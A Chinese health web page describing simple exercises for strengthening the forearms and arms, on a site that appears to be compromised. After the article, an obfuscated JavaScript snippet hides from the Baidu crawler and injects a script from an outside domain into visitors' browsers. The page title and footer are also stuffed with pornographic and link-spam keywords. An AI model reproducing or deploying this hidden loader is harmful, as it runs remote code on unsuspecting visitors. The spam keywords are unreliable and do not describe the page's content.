久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

鍛煉小臂肌肉的方法有哪些

2017-04-15 09:34:13  來源:360常識網   熱度:
導語:手臂擁有強壯的肌肉是很多男性的夢想,但是苦于工作繁忙,平時沒有時間鍛煉,再加上沒有具體的鍛煉方法,這樣就導致小臂肌肉一直強度以及柔

手臂擁有強壯的肌肉是很多男性的夢想,但是苦于工作繁忙,平時沒有時間鍛煉,再加上沒有具體的鍛煉方法,這樣就導致小臂肌肉一直強度以及柔韌度一直得不到提升。其實鍛煉小臂肌肉并沒有無中那么困難,下面介紹幾種有關小臂肌肉的鍛煉方法,希望對有這方面需求的朋友有所幫助。

雙手交叉向前推,至兩臂完全伸直,手心向前,保持靜 止2—3秒。雙手旋轉收回。目的是鍛煉內臂,使之結實。(10 —20次)。

使雙臂緊張,一只手放于另一側肩部垂直下壓,被壓肩 用力向上聳起。(左右各3—4次,共進行5次)。

雙手交叉放于腦后,雙臂用力向上伸直、手心向上,保持2—3秒,放松收回。對改善內臂的松弛十分有效。(5—10次)。

雙臂向前伸展,手心向下,手臂肌肉繃緊,同時外旋雙 臂至手心朝上,并漸向兩側打開。這組動作有助于鍛煉上臂, 使之勻稱。(15—20次)。

雙臂自然彎曲、手掌用力伸開,再慢慢握成拳狀。動作 一定要緩慢、用力,有利于鍛煉小臂。(8—10次)。

想增強肌肉感的女性來說,下面的動態練習將幫你“強化”雙 臂,畢竟“骨感美”的年代早已過去,健康有活力的美才更加體現女性的魅力。 此組動作可借助一些輕重量級的器械,如小啞鈴(2.5磅—5磅),沒有器械時,1瓶礦泉水、1本字典也可 任你信手拈來。

通過上面介紹相信大家已經發現,其實鍛煉小臂肌肉并沒有想象中這么復雜,在我們生活當中隨便選擇一個礦泉水瓶灌滿水,就可以作為鍛煉小臂肌肉的器械。小臂肌肉鍛煉雖然方法簡單,要的是要持之以恒,否則根本達不到鍛煉小臂肌肉的目的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产1区2区精品 | 国产视频观看 | 日韩成人av在线 | 国产高清网站 | 久久一区二区三区精品 | 国产婷婷在线视频 | 午夜精品一区 | 直接在线观看的三级网址 | 日本三级在线观看中文字 | 欧美日韩精品免费观看视频 | www.视频在线观看 | 国产精品永久免费视频 | 热久久这里只有精品 | 国产一区二区三区四区五区加勒比 | 久久久久久久久久久久国产精品 | 欧美成人区 | 欧美日韩视频一区二区三区 | 精品视频一区二区在线观看 | 欧美一级特| 国产精品1区 | 中文字幕国产 | 婷婷成人在线 | 日韩精品播放 | a级毛片视频免费观看 | 亚洲中国精品精华液 | 91久久| 欧美成人一区二区三区片免费 | 久久精品不卡 | 国产精品视频黄色 | 日韩精品在线观看视频 | 99精品久久 | 一本色道久久88综合亚洲精品ⅰ | 人操人人人 | 欧美精品一区二区三区蜜桃视频 | 精品国产乱码久久久久久1区2区 | 青青草人人 | 亚洲日日操 | 131美女免费做媛视频 | 亚洲免费在线视频 | 超级乱淫片国语对白免费视频 | 噜噜噜在线 |